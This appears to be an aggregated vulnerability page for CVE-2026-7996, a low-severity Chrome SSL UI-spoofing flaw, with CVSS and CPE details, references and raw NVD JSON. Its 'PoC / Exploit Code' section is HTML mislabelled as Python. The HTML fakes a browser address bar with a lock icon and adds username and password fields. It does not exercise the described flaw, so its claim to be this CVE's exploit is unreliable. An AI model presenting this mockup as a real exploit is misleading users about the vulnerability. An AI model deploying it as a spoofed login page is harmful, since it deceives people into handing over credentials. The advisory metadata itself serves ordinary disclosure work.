CVE-2026-7996

Description

Insufficient validation of untrusted input in SSL in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-7996 Concept
This demonstrates a crafted HTML page intended for UI Spoofing.
Note: Real exploitation requires compromising the renderer process first.
-->
<!DOCTYPE html>
<html>
<head>
    <style>
        /* Attempt to mimic browser UI elements */
        body {
            background-color: white;
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 20px;
        }
        .fake-address-bar {
            background-color: #f1f3f4;
            border-bottom: 1px solid #dadce0;
            padding: 8px;
            font-size: 14px;
            color: #202124;
            display: flex;
            align-items: center;
        }
        .fake-lock-icon {
            color: #188038; /* Green lock color */
            margin-right: 8px;
            font-weight: bold;
        }
        .fake-url {
            flex-grow: 1;
            text-align: center;
        }
        .content {
            margin-top: 50px;
            text-align: center;
        }
    </style>
</head>
<body>
    <!-- Fake UI Element constructed via HTML/CSS -->
    <div class="fake-address-bar">
        <span class="fake-lock-icon">🔒</span>
        <span class="fake-url">https://secure-login.example.com</span>
    </div>

    <div class="content">
        <h1>Security Check</h1>
        <p>Please verify your identity.</p>
        <input type="text" placeholder="Username" /><br/><br/>
        <input type="password" placeholder="Password" />
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7996
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7996
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7996/
[4] VulDB https://vuldb.com/cve/CVE-2026-7996
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/484547631

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7996", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:50.477", "lastModified": "2026-05-06T23:18:54.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in SSL in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/484547631", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}